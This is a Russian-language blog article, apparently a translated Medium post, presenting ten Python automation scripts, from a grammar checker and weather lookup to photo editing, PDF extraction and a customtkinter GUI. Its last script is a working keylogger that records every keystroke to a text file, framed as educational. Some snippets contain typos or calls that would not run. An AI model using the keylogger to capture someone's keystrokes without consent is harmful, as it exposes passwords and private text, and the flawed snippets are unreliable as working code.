Коллекция скриптов для автоматизации ваших повседневных рутинных задач.

Каждый день мы выполняем множество задач и проектов, которые иногда довольно скучны и отнимают много времени, и для которых нам было бы гораздо лучше использовать робота-автоматизатора, чтобы сэкономить время. Я имею в виду такие задачи, как проверка ежедневных обновлений погоды, редактирование фотографий, загрузка Google Фото, корректура, массовая рассылка электронных писем и многое другое.

В этой статье я покажу вам 10 скриптов автоматизации на Python. И так, чего же ты ждешь? Отметьте эту статью в своем списке и давайте начнем!

Автоматизация хороша, если вы знаете, где поставить машину.

— Элиягу Голдратт

👉 Корректор Python

Вам нужно программно проверить ваши документы, а затем использовать для этого этот удобный скрипт. Этот скрипт Python использует модуль Gingerit, являющийся оболочкой средства проверки Ginger Grammer. Этот скрипт просканирует ваш текст на наличие грамматических и орфографических ошибок и выдаст вам исправленный текст.

# Python Proofreader
# pip install gingerit
from gingerit.gingerit import GingerIt 
def Proofreader(text):
    grammarly = GingerIt()
    scan = grammarly.parse(text)
    print("Original: ", text)
    print("Corrected: ", scan['result'])

Proofreader("I can;t beleive it's butter")

👉 Ежедневные обновления погоды

Вам нужны ежедневные обновления погоды на рабочем столе программно, тогда этот скрипт автоматизации будет вам очень удобен. Он использует БЕСПЛАТНЫЙ API прогноза погоды и модуль запросов для получения обновлений погоды любого города, таких как температура, влажность, погода и многое другое. больше вы можете получить.

# Get Weather Updates
# pip install requests
import requests
def get_weather(city):
    url = "https://api.openweathermap.org/data/2.5/weather"
    params = {
        "q": city,
        "appid": "YOUR_API_KEY",
    }
    r = requests.get(url, params=params)
    result = r.json()
    print("city: ", city)
    print("temp: ", result["main"]["temp"])
    print("humidity: ", result["main"]["humidity"])
    print("pressure: ", result["main"]["pressure"])
    print("weather: ", result["weather"][0]["main"])
    print("description: ", result["weather"][0]["description"])

if __name__ == "__main__":
    get_weather("New York")

👉 Редактируйте свои фотографии

Создайте свой собственный Mini Photoshop на Python, используя этот удобный скрипт автоматизации, который вы используете в модуле Popular Pillow, известном своими функциями обработки изображений. Этот сценарий автоматизации позволит вам редактировать фотографии, обрезая их, изменяя размер, добавляя фильтры, размывая и выполняя многие другие действия.

Этот удобный скрипт полезен, когда вам нужно отредактировать много фотографий или вам нужна помощь в вашем проекте.

# Edit your Photos
# pip install Pillow
from PIL import Image as img
# load the Photo
pic = img.open("image.jpg")
# resize the Pic
pic = pic.resize((30, 30))
# Crop the Pic
pic = pic.crop((0, 0, 100, 100))
# Flip the Pic
pic = pic.transpose(img.FLIP_LEFT_RIGHT)
# Rotate the Pic
pic = pic.rotate(45)
# Blur the Pic
pic = pic.filter(img.BLUR)
# Sharpen the Pic
pic = pic.filter(img.SHARPEN)
# Convert pic to grayscale
pic = pic.convert("L")
# Add filter to the pic
pic = pic.filter(img.CONTOUR)
# Transform the pic
pic = pic.transform((100, 100), img.EXTENT, (0, 0, 100, 100))
# Show the pic
pic.show()
# Save the pic
pic.save("image.jpg")

👉 Компрессор файлов

Этот сценарий автоматизации позволит вам сжимать файлы большого размера в файлы меньшего размера. Этот скрипт использует модуль Py7zr, который принимает файлы в качестве аргумента и возвращает сжатый файл.

# Files Compressor
# pip install py7zr
import py7zr as zipper
def File_Compressor(files):
    with zipper.SevenZipFile('compressed.7z', 'w') as z:
        for file in files:
            z.write(file)
    print("Compressed")

File_Compressor(["data1.pdf", "data2.png"])

👉 Загрузчик изображений Google

Хотите загрузить много изображений из поисковой системы Google. Тогда вам не нужно делать это вручную, вы можете использовать приведенный ниже сценарий автоматизации для загрузки изображений Google любого количества.

Этот удобный скрипт полезен для программистов, которые хотят программно загружать большое количество фотографий различных запросов.

# Google Images Downloader
# pip instal requests
# pip install bs4
mport requests
from bs4 import BeautifulSoup
import os
def download_images(query, num_images):
    url = "https://www.google.com/search?q="+query+"&tbm=isch"
    r = requests.get(url)
    soup = BeautifulSoup(r.text, 'html.parser')
    img_tags = soup.find_all('img')
    
    count = 0
    for imgs in img_tags:
        if count == num_images:
            break
        image_url = imgs['src']
        r = requests.get(image_url)
        with open(f"image_{count}.jpg", "wb") as f:
            f.write(r.content)
            print("Downloaded "+image_url)
            count += 1

download_images("mountains", 10)

👉 Парсер документов

Хотите читать и записывать файлы Docx с помощью Python, тогда вот скрипт автоматизации, который использует модуль Python-docx, который помогает вам читать, записывать и изменять ваши файлы Docx.

Этот удобный скрипт полезен, когда у вас есть много файлов docx для чтения или вам нужна помощь с вашим проектом.

# Docx Parser
# pip install python-docx
import docx as msdoc
# read the document
doc = msdoc.Document('test.docx')
# Get num of paragraphs
print(len(doc.paragraphs))
# get specific paragraph
print(doc.paragraphs[0].text)
# get all the paragraphs
data = []
for para in doc.paragraphs:
    data.append(para.text)
# get all the tables
tables = []
for table in doc.tables:
    for row in table.rows:
        for cell in row.cells:
            tables.append(cell.text)

# Write document
doc = msdoc.Document()
doc.add_paragraph('Hello world!')
# add tables
table = doc.add_table(rows=1, cols=3)
hdr_cells = table.rows[0].cells
hdr_cells[0].text = 'Qty'
hdr_cells[1].text = 'Id'
hdr_cells[2].text = 'Desc'

# save the document
doc.save('test.docx')

👉 Конвертировать PDF в текст

Этот сценарий автоматизации предназначен для извлечения текста из файлов PDF. В этом скрипте используется модуль Texttract, который позволяет получать полные PDF-файлы с помощью нескольких строк кода.

Этот скрипт удобен, когда вам нужно получить несколько файлов PDF одновременно, не делая их по одному.

# PDF to Text Converter
# pip install textract
import textract
def PDF_to_Text(pdf_file):
    text = textract.process(pdf_file)
    text = text.decode('utf-8')
    print(text)

PDF_to_Text("example.pdf")

👉Изображения в видео

Этот скрипт автоматизации преобразует ваши фотографии в формат видео. Этот сценарий использует модуль Moviepy, который берет список изображений, а затем использует его функции для преобразования ваших изображений в видео. Ознакомьтесь с приведенным ниже примером кода.

# Images to Video 
# pip install moviepy
from moviepy.editor import *
def make_video(images_list):
    clip = ImageSequenceClip(images_list, fps=1)
    clip.write_videofile("video.mp4")
    print("Video Created")

make_video(["img1.jpg", "img2.jpg", "img3.jpg"])

👉 Пользовательский графический интерфейс

Сделайте шаг вперед по сравнению с обычным пакетом Python tkinter. Этот скрипт Python покажет вам, как можно использовать модуль Customtkintere для проектирования и разработки красивых программ с графическим интерфейсом.

# Tkinter GUI
# pip install customtkinter
import tkinter 
import customtkinter as customtk
customtk.set_appearance_mode("System")
customtk.set_default_color_theme("blue")
root = customtk.Tk()
# set title of gui
root.title("Tkinter GUI")
# set geometry of gui
root.geometry("500x500")
# Use Buttons
btn = customtk.CTkButton(master=root, text="Click Me")
btn.place(x=100, y=100)
# Use Text Labels
lbl = customtk.CTkLabel(master=root, text="Hello World")
lbl.place(x=100, y=200)
# Use Input Boxes
entry = customtk.CTkEntry(master=root)
entry.place(x=100, y=300)
# Use Checkboxes
check = customtk.CTkCheckBox(master=root, text="Check Me")
check.place(x=100, y=400)
# Use Radio Buttons
radio = customtk.CTkRadioButton(master=root, text="Radio Me")
# Multi-line Text
text = customtk.CTkTextbox(master=root)
text.place(x=100, y=500)
# Scrollbar
scroll = customtk.CTkScrollbar(master=root)
scroll.place(x=100, y=600)
# Listbox
listbox = customtk.CTkListbox(master=root)
listbox.place(x=100, y=700)
# Run app
root.mainloop()

👉 Сделать кейлоггер

Создайте свой кейлоггер с помощью этого простого скрипта Python, который использует модуль клавиатуры, который может записывать каждое нажатие клавиши, которое вы нажимаете, и сохранять их в файле TXT.

Примечание. Этот сценарий предназначен только для образовательных целей.

# Make Keylogger
# pip install keyboard
import keyboard
import time
log = "keylogger.txt"
def on_key_press(event):
    with open(log, "a") as f:
        f.write(f"{event.name} {time.time()}\n")
keyboard.on_press(on_key_press)
while True:
    pass

👉 Заключительные мысли

Что ж, я надеюсь, что вы найдете эту статью полезной и забавной для чтения сценариев автоматизации. Если вы найдете что-то полезное, не забудьте поделиться❤️ этим со своими друзьями, потому что делиться — значит заботиться.

Удачного программирования!

Вы можете поддержать меня и других, став участником Medium Спасибо! 👇



Никогда не переставайте учиться. Вот ежедневная порция моих статей по программированию ниже, надеюсь, они вам тоже понравятся.

















































Дополнительные материалы на PlainEnglish.io.

Подпишитесь на нашу бесплатную еженедельную рассылку новостей. Подпишитесь на нас в Twitter, LinkedIn, YouTube и Discord .

Заинтересованы в масштабировании запуска вашего программного обеспечения? Ознакомьтесь с разделом Схема.